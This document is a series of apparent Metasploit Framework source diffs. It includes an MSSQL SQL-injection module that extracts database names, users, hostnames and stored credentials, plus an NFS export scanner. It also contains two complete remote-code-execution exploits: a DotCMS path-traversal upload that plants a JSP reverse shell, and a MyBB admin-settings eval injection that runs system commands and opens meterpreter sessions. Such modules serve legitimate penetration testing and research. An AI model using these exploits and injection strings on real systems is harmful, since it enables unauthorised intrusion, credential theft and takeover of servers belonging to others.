include ::Msf::Exploit::SQLi::TimeBasedBlindMixin
|
||||
|
||||
#
|
||||
# This method checks if the target is vulnerable to Blind time-based injection by checking if
|
||||
# the target sleeps only when a given condition is true.
|
||||
#
|
||||
def test_vulnerable
|
||||
# run_sql and check if output is what's expected, or just check for delays?
|
||||
out_true = blind_request("if(1=1) waitfor delay '0:0:#{datastore['SqliDelay'].to_i}'")
|
||||
out_false = blind_request("if(1=2) waitfor delay '0:0:#{datastore['SqliDelay'].to_i}'")
|
||||
out_true && !out_false
|
||||
end
|
||||
end
|
||||
@@ -4,6 +4,22 @@ require 'rex/socket'
|
||||
# Monkeypatch upstream library, for now
|
||||
# TODO: write a real LDAP client in Rex and migrate all consumers
|
||||
class Net::LDAP::Connection # :nodoc:
|
||||
module SynchronousRead
|
||||
def read(length = nil, opts = {})
|
||||
data = ''
|
||||
loop do
|
||||
chunk = super(length - data.length)
|
||||
if chunk.nil?
|
||||
return data == '' ? nil : data
|
||||
end
|
||||
|
||||
data << chunk
|
||||
break if data.length == length
|
||||
end
|
||||
|
||||
data
|
||||
end
|
||||
end
|
||||
|
||||
def initialize(server)
|
||||
begin
|
||||
@@ -12,6 +28,7 @@ class Net::LDAP::Connection # :nodoc:
|
||||
'PeerPort' => server[:port],
|
||||
'Proxies' => server[:proxies]
|
||||
)
|
||||
@conn.extend(SynchronousRead)
|
||||
rescue SocketError
|
||||
raise Net::LDAP::LdapError, 'No such address or other socket error.'
|
||||
rescue Errno::ECONNREFUSED
|
||||
|
||||
@@ -8,6 +8,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::SQLi
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
@@ -75,13 +76,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
Rex::Text.rand_text_alpha(len)
|
||||
end
|
||||
|
||||
def char_list(string)
|
||||
('char(' + string.split('').map(&:ord).join(')+char(') + ')').to_s
|
||||
end
|
||||
|
||||
def error_info(body)
|
||||
/BQEShowModalAlert\('Information','(?<error>[^']+)/ =~ body
|
||||
error
|
||||
body[/BQEShowModalAlert\('Information','([^']+)/, 1]
|
||||
end
|
||||
|
||||
def inject(content, state, generator, validation)
|
||||
@@ -127,9 +123,6 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
header = rand_chars
|
||||
footer = rand_chars
|
||||
header_char = char_list(header)
|
||||
footer_char = char_list(footer)
|
||||
int = Rex::Text.rand_text_numeric(4)
|
||||
|
||||
service = {
|
||||
address: rhost,
|
||||
@@ -140,24 +133,25 @@ class MetasploitModule < Msf::Auxiliary
|
||||
}
|
||||
report_service(service)
|
||||
|
||||
# all inject strings taken from sqlmap runs, using error page method
|
||||
res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND CHARINDEX(CHAR(49)+CHAR(53)+CHAR(46)+CHAR(48)+CHAR(46),@@VERSION)>0)+'", viewstate, viewstategenerator, eventvalidation)
|
||||
/, table \\u0027(?<table>.+?)\\u0027/ =~ error_info(res)
|
||||
print_good("Current Database: #{table.split('.').first}")
|
||||
report_note(host: rhost, port: rport, type: 'database', data: table.split('.').first)
|
||||
sqli = create_sqli(dbms: Msf::Exploit::SQLi::Mssqli::Common, opts: { safe: true, encoder: { encode: "'#{header}'+^DATA^+'#{footer}'", decode: ->(x) { x[/#{header}(.+?)#{footer}/mi, 1] } } }) do |payload|
|
||||
int = Rex::Text.rand_text_numeric(4)
|
||||
res = inject("'+(select '' where #{int} in (#{payload}))+'", viewstate, viewstategenerator, eventvalidation)
|
||||
err_info = error_info(res)
|
||||
print_error('Unexpected output from the server') if err_info.nil?
|
||||
err_info[/\\u0027(.+?)\\u0027/m, 1]
|
||||
end
|
||||
|
||||
res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND 1325 IN (SELECT (#{header_char}+(SELECT SUBSTRING((ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32))),1,1024))+#{footer_char})))+'", viewstate, viewstategenerator, eventvalidation)
|
||||
/\\u0027(?<banner>.+?)\\u0027/ =~ error_info(res)
|
||||
banner.slice!(header)
|
||||
banner.slice!(footer)
|
||||
banner = banner.gsub('\n', "\n").gsub('\t', "\t")
|
||||
# all inject strings taken from sqlmap runs, using error page method
|
||||
database = sqli.current_database
|
||||
print_good("Current Database: #{database}")
|
||||
report_note(host: rhost, port: rport, type: 'database', data: database)
|
||||
|
||||
banner = sqli.version.gsub('\n', "\n").gsub('\t', "\t")
|
||||
print_good("Banner: #{banner}")
|
||||
|
||||
res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND 8603 IN (SELECT (#{header_char}+(SELECT SUBSTRING((ISNULL(CAST(SYSTEM_USER AS NVARCHAR(4000)),CHAR(32))),1,1024))+#{footer_char})))+'", viewstate, viewstategenerator, eventvalidation)
|
||||
/\\u0027(?<user>.+?)\\u0027/ =~ error_info(res)
|
||||
user.slice!(header)
|
||||
user.slice!(footer)
|
||||
user = sqli.current_user
|
||||
print_good("DB User: #{user}")
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
@@ -167,25 +161,15 @@ class MetasploitModule < Msf::Auxiliary
|
||||
}.merge(service)
|
||||
create_credential(credential_data)
|
||||
|
||||
res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND 7555 IN (SELECT (#{header_char}+(SUBSTRING((ISNULL(CAST(@@SERVERNAME AS NVARCHAR(4000)),CHAR(32))),1,1024))+#{footer_char})))+'", viewstate, viewstategenerator, eventvalidation)
|
||||
/\\u0027(?<hostname>.+?)\\u0027/ =~ error_info(res)
|
||||
hostname.slice!(header)
|
||||
hostname.slice!(footer)
|
||||
hostname = sqli.hostname
|
||||
print_good("Hostname: #{hostname}")
|
||||
|
||||
report_host(host: rhost, name: hostname, info: banner.gsub('\n', "\n").gsub('\n', "\n"), os_name: OperatingSystems::WINDOWS)
|
||||
report_host(host: rhost, name: hostname, info: banner, os_name: OperatingSystems::WINDOWS)
|
||||
|
||||
sec_table = "#{table.split('.')[0...-1].join('.')}.SecurityTable"
|
||||
|
||||
# get user count from SecurityTable
|
||||
res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND 8815 IN (SELECT (#{header_char}+(SELECT ISNULL(CAST(COUNT(*) AS NVARCHAR(4000)),CHAR(32)) FROM #{sec_table} WHERE ModuleID=0)+#{footer_char})))+'", viewstate, viewstategenerator, eventvalidation)
|
||||
/\\u0027(?<user_count>.+?)\\u0027/ =~ error_info(res)
|
||||
user_count.slice!(header)
|
||||
user_count.slice!(footer)
|
||||
print_good("User Count in #{sec_table}: #{user_count}")
|
||||
sec_table = sqli.dump_table_fields("#{database}.dbo.SecurityTable", %w[EmployeeID Settings], 'ModuleID=0')
|
||||
|
||||
table = Rex::Text::Table.new(
|
||||
'Header' => sec_table,
|
||||
'Header' => "#{database}.dbo.SecurityTable",
|
||||
'Indent' => 1,
|
||||
'SortIndex' => -1,
|
||||
'Columns' =>
|
||||
@@ -195,22 +179,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
]
|
||||
)
|
||||
|
||||
(1..user_count.to_i).each do |index|
|
||||
# username
|
||||
# select EmployeeID from test.dbo.SecurityTable where ModuleID=0
|
||||
res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND 2292 IN (SELECT (#{header_char}+(SELECT TOP 1 SUBSTRING((ISNULL(CAST(EmployeeID AS NVARCHAR(4000)),CHAR(32))),1,1024) FROM #{sec_table} WHERE ModuleID=0 AND ISNULL(CAST(EmployeeID AS NVARCHAR(4000)),CHAR(32)) NOT IN (SELECT TOP #{index - 1} ISNULL(CAST(EmployeeID AS NVARCHAR(4000)),CHAR(32)) FROM #{sec_table} WHERE ModuleID=0 ORDER BY EmployeeID) ORDER BY EmployeeID)+#{footer_char})))+'", viewstate, viewstategenerator, eventvalidation)
|
||||
/\\u0027(?<username>.+?)\\u0027/ =~ error_info(res)
|
||||
username.slice!(header)
|
||||
username.slice!(footer)
|
||||
print_good("Username: #{username}")
|
||||
|
||||
# settings
|
||||
# select Settings from test.dbo.SecurityTable where ModuleID=0
|
||||
res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND 7411 IN (SELECT (#{header_char}+(SELECT TOP 1 SUBSTRING((ISNULL(CAST(Settings AS NVARCHAR(4000)),CHAR(32))),1,1024) FROM #{sec_table} WHERE ModuleID=0 AND ISNULL(CAST(EmployeeID AS NVARCHAR(4000)),CHAR(32)) NOT IN (SELECT TOP #{index - 1} ISNULL(CAST(EmployeeID AS NVARCHAR(4000)),CHAR(32)) FROM #{sec_table} WHERE ModuleID=0 ORDER BY EmployeeID) ORDER BY EmployeeID)+#{footer_char})))+'", viewstate, viewstategenerator, eventvalidation)
|
||||
/\\u0027(?<settings>.+?)\\u0027/ =~ error_info(res)
|
||||
settings.slice!(header)
|
||||
settings.slice!(footer)
|
||||
print_good("User #{username} settings: #{settings}")
|
||||
sec_table.each do |(username, settings)|
|
||||
table << [username, settings]
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
|
||||
@@ -7,19 +7,19 @@ class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::SunRPC
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Nfs
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'NFS Mount Scanner',
|
||||
'Description' => %q{
|
||||
'Name' => 'NFS Mount Scanner',
|
||||
'Description' => %q{
|
||||
This module scans NFS mounts and their permissions.
|
||||
},
|
||||
'Author' => ['<tebo[at]attackresearch.com>'],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '1999-0170'],
|
||||
['URL', 'https://www.ietf.org/rfc/rfc1094.txt']
|
||||
],
|
||||
'Author' => ['<tebo[at]attackresearch.com>'],
|
||||
'References' => [
|
||||
['CVE', '1999-0170'],
|
||||
['URL', 'https://www.ietf.org/rfc/rfc1094.txt']
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
@@ -27,57 +27,62 @@ class MetasploitModule < Msf::Auxiliary
|
||||
OptEnum.new('PROTOCOL', [ true, 'The protocol to use', 'udp', ['udp', 'tcp']])
|
||||
])
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('Mountable', [false, 'Determine if an export is mountable', true]),
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
program = 100005
|
||||
progver = 1
|
||||
procedure = 5
|
||||
|
||||
begin
|
||||
program = 100005
|
||||
progver = 1
|
||||
procedure = 5
|
||||
sunrpc_create(datastore['PROTOCOL'], program, progver)
|
||||
sunrpc_authnull
|
||||
resp = sunrpc_call(procedure, '')
|
||||
|
||||
sunrpc_create(datastore['PROTOCOL'], program, progver)
|
||||
sunrpc_authnull()
|
||||
resp = sunrpc_call(procedure, "")
|
||||
# XXX: Assume that transport is udp and port is 2049
|
||||
# Technically we are talking to mountd not nfsd
|
||||
|
||||
# XXX: Assume that transport is udp and port is 2049
|
||||
# Technically we are talking to mountd not nfsd
|
||||
report_service(
|
||||
host: ip,
|
||||
proto: datastore['PROTOCOL'],
|
||||
port: 2049,
|
||||
name: 'nfsd',
|
||||
info: "NFS Daemon #{program} v#{progver}"
|
||||
)
|
||||
|
||||
report_service(
|
||||
:host => ip,
|
||||
:proto => datastore['PROTOCOL'],
|
||||
:port => 2049,
|
||||
:name => 'nfsd',
|
||||
:info => "NFS Daemon #{program} v#{progver}"
|
||||
)
|
||||
exports = resp[3, 1].unpack('C')[0]
|
||||
if (exports == 0x01)
|
||||
shares = []
|
||||
while Rex::Encoder::XDR.decode_int!(resp) == 1
|
||||
dir = Rex::Encoder::XDR.decode_string!(resp)
|
||||
grp = []
|
||||
grp << Rex::Encoder::XDR.decode_string!(resp) while Rex::Encoder::XDR.decode_int!(resp) == 1
|
||||
|
||||
exports = resp[3,1].unpack('C')[0]
|
||||
if (exports == 0x01)
|
||||
shares = []
|
||||
while Rex::Encoder::XDR.decode_int!(resp) == 1 do
|
||||
dir = Rex::Encoder::XDR.decode_string!(resp)
|
||||
grp = []
|
||||
while Rex::Encoder::XDR.decode_int!(resp) == 1 do
|
||||
grp << Rex::Encoder::XDR.decode_string!(resp)
|
||||
end
|
||||
print_good("#{ip} NFS Export: #{dir} [#{grp.join(", ")}]")
|
||||
shares << [dir, grp]
|
||||
if can_mount?(grp, datastore['Mountable'], datastore['HOSTNAME'], datastore['LHOST'] || '')
|
||||
print_good("#{ip} Mountable NFS Export: #{dir} [#{grp.join(', ')}]")
|
||||
else
|
||||
print_status("#{ip} NFS Export: #{dir} [#{grp.join(', ')}]")
|
||||
end
|
||||
report_note(
|
||||
:host => ip,
|
||||
:proto => datastore['PROTOCOL'],
|
||||
:port => 2049,
|
||||
:type => 'nfs.exports',
|
||||
:data => { :exports => shares },
|
||||
:update => :unique_data
|
||||
)
|
||||
elsif(exports == 0x00)
|
||||
vprint_status("#{ip} - No exported directories")
|
||||
shares << [dir, grp]
|
||||
end
|
||||
|
||||
sunrpc_destroy
|
||||
rescue ::Rex::Proto::SunRPC::RPCTimeout, ::Rex::Proto::SunRPC::RPCError => e
|
||||
vprint_error(e.to_s)
|
||||
report_note(
|
||||
host: ip,
|
||||
proto: datastore['PROTOCOL'],
|
||||
port: 2049,
|
||||
type: 'nfs.exports',
|
||||
data: { exports: shares },
|
||||
update: :unique_data
|
||||
)
|
||||
elsif (exports == 0x00)
|
||||
vprint_status("#{ip} - No exported directories")
|
||||
end
|
||||
|
||||
sunrpc_destroy
|
||||
rescue ::Rex::Proto::SunRPC::RPCTimeout, ::Rex::Proto::SunRPC::RPCError => e
|
||||
vprint_error(e.to_s)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,167 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'DotCMS RCE via Arbitrary File Upload.',
|
||||
'Description' => %q{
|
||||
When files are uploaded into dotCMS via the content API, but before they become content, dotCMS writes the
|
||||
file down in a temp directory. In the case of this vulnerability, dotCMS does not sanitize the filename
|
||||
passed in via the multipart request header and thus does not sanitize the temp file's name. This allows a
|
||||
specially crafted request to POST files to dotCMS via the ContentResource (POST /api/content) that get
|
||||
written outside of the dotCMS temp directory. In the case of this exploit, an attacker can upload a special
|
||||
.jsp file to the webapp/ROOT directory of dotCMS which can allow for remote code execution.
|
||||
},
|
||||
'Author' => [
|
||||
'Shubham Shah', # Discovery and analysis
|
||||
'Hussein Daher', # Discovery and analysis
|
||||
'jheysel-r7' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['CVE', '2022-26352'],
|
||||
['URL', 'https://blog.assetnote.io/2022/05/03/hacking-a-bank-using-dotcms-rce/']
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Platform' => %w[linux win],
|
||||
'Targets' => [
|
||||
[
|
||||
'Java Linux',
|
||||
{
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Platform' => 'linux'
|
||||
}
|
||||
],
|
||||
[
|
||||
'Java Windows',
|
||||
{
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Platform' => 'win'
|
||||
}
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => '2022-05-03',
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => {
|
||||
'SSL' => true,
|
||||
'PAYLOAD' => 'java/jsp_shell_reverse_tcp'
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(8443),
|
||||
OptString.new('TARGETURI', [true, 'Base path', '/'])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
test_content = Rex::Text.rand_text_alpha(10)
|
||||
test_file = "#{test_content}.jsp"
|
||||
test_path = "../../#{test_file}"
|
||||
uuid = Faker::Internet.uuid
|
||||
|
||||
jsp = <<~EOS
|
||||
<%@ page import=\"java.io.File\" %>
|
||||
<%
|
||||
File jsp=new File(getServletContext().getRealPath(File.separator) + File.separator + "#{test_file}");
|
||||
jsp.delete();
|
||||
%>
|
||||
#{uuid}
|
||||
EOS
|
||||
|
||||
vars_form_data = [
|
||||
{
|
||||
'name' => 'name',
|
||||
'data' => jsp,
|
||||
'encoding' => nil,
|
||||
'filename' => test_path,
|
||||
'mime_type' => 'text/plain'
|
||||
}
|
||||
]
|
||||
|
||||
send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/api/content/'),
|
||||
'vars_form_data' => vars_form_data
|
||||
)
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, test_file.to_s)
|
||||
)
|
||||
|
||||
if res && res.body.include?(uuid)
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def write_jsp_payload
|
||||
jsp_path = "../../#{jsp_filename}"
|
||||
print_status('Writing JSP payload')
|
||||
vars_form_data = [
|
||||
{
|
||||
'name' => 'name',
|
||||
'data' => payload.encoded,
|
||||
'encoding' => nil,
|
||||
'filename' => jsp_path,
|
||||
'mime_type' => 'text/plain'
|
||||
}
|
||||
]
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/api/content/'),
|
||||
'vars_form_data' => vars_form_data
|
||||
)
|
||||
|
||||
unless res&.code == 500
|
||||
fail_with(Failure::NotVulnerable, 'Failed to write JSP payload')
|
||||
end
|
||||
|
||||
register_file_for_cleanup("../webapps/ROOT/#{jsp_filename}")
|
||||
print_good('Successfully wrote JSP payload')
|
||||
end
|
||||
|
||||
def execute_jsp_payload
|
||||
jsp_uri = normalize_uri(target_uri.path, jsp_filename)
|
||||
print_status('Executing JSP payload')
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => jsp_uri
|
||||
)
|
||||
|
||||
unless res&.code == 200
|
||||
fail_with(Failure::PayloadFailed, 'Failed to execute JSP payload')
|
||||
end
|
||||
print_good('Successfully executed JSP payload')
|
||||
end
|
||||
|
||||
def exploit
|
||||
write_jsp_payload
|
||||
execute_jsp_payload
|
||||
end
|
||||
|
||||
def jsp_filename
|
||||
@jsp_filename ||= "#{rand_text_alphanumeric(8..16)}.jsp"
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,278 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Powershell
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'MyBB Admin Control Code Injection RCE',
|
||||
'Description' => %q{
|
||||
This exploit module leverages an improper input validation
|
||||
vulnerability in MyBB prior to `1.8.30` to execute arbitrary code in
|
||||
the context of the user running the application.
|
||||
|
||||
MyBB Admin Control setting page calls PHP `eval` function with an
|
||||
unsanitized user input. The exploit adds a new setting, injecting the
|
||||
payload in the vulnerable field, and triggers its execution with a
|
||||
second request. Finally, it takes care of cleaning up and removes the
|
||||
setting.
|
||||
|
||||
Note that authentication is required for this exploit to work and the
|
||||
account must have rights to add or update settings (typically, myBB
|
||||
administrator role).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Cillian Collins', # vulnerability research
|
||||
'Altelus', # original PoC
|
||||
'Christophe De La Fuente' # MSF module
|
||||
],
|
||||
'References' => [
|
||||
[ 'URL', 'https://github.com/mybb/mybb/security/advisories/GHSA-876v-gwgh-w57f'],
|
||||
[ 'URL', 'https://www.zerodayinitiative.com/advisories/ZDI-22-503/'],
|
||||
[ 'URL', 'https://github.com/Altelus1/CVE-2022-24734'],
|
||||
[ 'CVE', '2022-24734']
|
||||
],
|
||||
'Platform' => %w[php unix linux win],
|
||||
'Privileged' => false,
|
||||
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
|
||||
'Targets' => [
|
||||
[
|
||||
'PHP',
|
||||
{
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },
|
||||
'Type' => :in_memory
|
||||
}
|
||||
],
|
||||
[
|
||||
'Unix (In-Memory)',
|
||||
{
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_php_ssl' },
|
||||
'Type' => :in_memory
|
||||
}
|
||||
],
|
||||
[
|
||||
'Linux (Dropper)',
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
|
||||
'Type' => :dropper
|
||||
}
|
||||
],
|
||||
[
|
||||
'Windows (In-Memory)',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_CMD,
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell/meterpreter/reverse_tcp' },
|
||||
'Type' => :in_memory
|
||||
}
|
||||
],
|
||||
[
|
||||
'Windows (Dropper)',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' },
|
||||
'Type' => :dropper
|
||||
}
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => '2022-03-09',
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USERNAME', [ true, 'MyBB Admin CP username' ]),
|
||||
OptString.new('PASSWORD', [ true, 'MyBB Admin CP password' ]),
|
||||
OptString.new('TARGETURI', [ true, 'The URI of the MyBB application', '/'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'method' => 'GET',
|
||||
'vars_get' => { 'intcheck' => 1 }
|
||||
})
|
||||
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
|
||||
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
|
||||
|
||||
# see https://github.com/mybb/mybb/blob/feature/inc/class_core.php#L307-L310
|
||||
unless res.body.include?('MYBB')
|
||||
return CheckCode::Unknown("#{peer} - Cannot find MyBB forum running at #{target_uri.path}")
|
||||
end
|
||||
|
||||
print_good("MyBB forum found running at #{target_uri.path}")
|
||||
|
||||
return CheckCode::Detected
|
||||
end
|
||||
|
||||
def login
|
||||
vprint_status('Attempting login')
|
||||
|
||||
cookie_jar.cleanup(true)
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, '/admin/index.php'),
|
||||
'method' => 'POST',
|
||||
'keep_cookies' => true,
|
||||
'vars_post' => {
|
||||
'username' => datastore['USERNAME'],
|
||||
'password' => datastore['PASSWORD'],
|
||||
'do' => 'login'
|
||||
}
|
||||
})
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
|
||||
unless res.body.match(/Logged in as .*#{datastore['USERNAME']}/)
|
||||
fail_with(Failure::NoAccess, "#{peer} - Invalid credentials")
|
||||
end
|
||||
|
||||
print_good('Login successful!')
|
||||
end
|
||||
|
||||
def send_config_settings(method: 'GET', action: 'add', vars_get: {}, vars_post: {}, check_response: true)
|
||||
req_hash = {
|
||||
'uri' => normalize_uri(target_uri.path, '/admin/index.php'),
|
||||
'method' => method,
|
||||
'vars_get' => {
|
||||
'module' => 'config-settings',
|
||||
'action' => action
|
||||
}.merge(vars_get)
|
||||
}
|
||||
req_hash['vars_post'] = vars_post unless vars_post.blank?
|
||||
res = send_request_cgi(req_hash, datastore['WfsDelay'] > 0 ? datastore['WfsDelay'] : 2)
|
||||
if check_response && res.nil?
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response")
|
||||
end
|
||||
res
|
||||
end
|
||||
|
||||
def exploit
|
||||
login
|
||||
|
||||
res = send_config_settings
|
||||
if res.body.include?('Access Denied')
|
||||
fail_with(Failure::NoAccess, "#{peer} - Supplied user doesn't have the rights to add a setting")
|
||||
end
|
||||
|
||||
vprint_status('Adding a malicious settings')
|
||||
doc = res.get_html_document
|
||||
@my_post_key = doc.xpath('//input[@name="my_post_key"]/@value').text
|
||||
|
||||
case target['Type']
|
||||
when :in_memory
|
||||
execute_command(payload.encoded)
|
||||
when :dropper
|
||||
execute_cmdstager
|
||||
end
|
||||
end
|
||||
|
||||
def send_payload(cmd)
|
||||
vprint_status('Adding a crafted configuration setting entry with the payload')
|
||||
|
||||
cmd = cmd.gsub(/\\/, '\\' => '\\\\')
|
||||
cmd = cmd.gsub(/"/, '"' => '\\"')
|
||||
cmd = cmd.gsub(/\$/, '$' => '\\$')
|
||||
|
||||
case target['Platform']
|
||||
when 'php'
|
||||
extra = "\" . eval(\"#{cmd}\") .\""
|
||||
when 'win'
|
||||
if target['Arch'] == ARCH_CMD
|
||||
# Force cmd to run in the background (only works for `cmd`)
|
||||
extra = "\" . pclose(popen(\"start /B #{cmd}\", \"r\")) .\""
|
||||
else
|
||||
extra = "\" . system(\"#{cmd}\") .\""
|
||||
end
|
||||
else
|
||||
extra = "\" . system(\"#{cmd} > /dev/null &\") .\""
|
||||
end
|
||||
|
||||
post_data = {
|
||||
my_post_key: @my_post_key,
|
||||
title: Rex::Text.rand_text_alpha(rand(8...16)),
|
||||
description: Rex::Text.rand_text_alpha(rand(8...16)),
|
||||
gid: 1,
|
||||
disporder: '',
|
||||
name: Rex::Text.rand_text_alpha(rand(8...16)),
|
||||
type: "\tphp",
|
||||
extra: extra,
|
||||
value: Rex::Text.rand_text_alpha(rand(8...16))
|
||||
}
|
||||
|
||||
res = send_config_settings(method: 'POST', vars_post: post_data)
|
||||
unless res.code == 302
|
||||
doc = res.get_html_document
|
||||
err = doc.xpath('//div[@class="error"]').text
|
||||
fail_with(Failure::Unknown,
|
||||
"#{peer} - The module expected a 302 response but received: "\
|
||||
"#{res.code}. Exploit didn't work.#{" Reason: #{err}" if err.present?}")
|
||||
end
|
||||
|
||||
vprint_good('Payload successfully sent')
|
||||
end
|
||||
|
||||
def trigger_payload
|
||||
vprint_status('Triggering the payload execution')
|
||||
# We're not expecting response to this query
|
||||
send_config_settings(action: 'change', check_response: false)
|
||||
end
|
||||
|
||||
def remove_setting
|
||||
vprint_status('Removing the configuration setting')
|
||||
|
||||
vprint_status('Grab the delete parameters')
|
||||
res = send_config_settings(action: 'manage')
|
||||
if res.body.include?('<title>MyBB Control Panel - Login</title>')
|
||||
# this exploit seems to logout users sometimes, so, try to login again and retry
|
||||
print_status('User session is not valid anymore. Trying to login again to cleanup')
|
||||
login
|
||||
res = send_config_settings(action: 'manage')
|
||||
end
|
||||
|
||||
doc = res.get_html_document
|
||||
control_links = doc.xpath('//div[@class="popup_item_container"]/a/@href')
|
||||
uri = control_links.detect do |href|
|
||||
href.text.include?('action=delete') && href.text.include?("my_post_key=#{@my_post_key}")
|
||||
end
|
||||
if uri.nil?
|
||||
print_warning("#{peer} - URI not found in `Modify Settings` page - cannot cleanup")
|
||||
return
|
||||
end
|
||||
|
||||
vprint_status('Send the delete request')
|
||||
params = uri.text.split('?')[1]
|
||||
get_data = CGI.parse(params).transform_values(&:join)
|
||||
send_config_settings(method: 'POST', vars_get: get_data)
|
||||
end
|
||||
|
||||
def execute_command(cmd, _opt = {})
|
||||
send_payload(cmd)
|
||||
trigger_payload
|
||||
remove_setting
|
||||
print_status('Shell incoming...')
|
||||
end
|
||||
end
|
||||
@@ -45,11 +45,17 @@ class MetasploitModule < Msf::Post
|
||||
OptString.new('BOURNE_PATH',
|
||||
[false, 'Remote path to drop binary']),
|
||||
OptString.new('BOURNE_FILE',
|
||||
[false, 'Remote filename to use for dropped binary'])
|
||||
[false, 'Remote filename to use for dropped binary']),
|
||||
OptInt.new('COMMAND_TIMEOUT',
|
||||
[true, 'How long to wait (in seconds) for a result when executing a command on the remote machine.', 15]),
|
||||
])
|
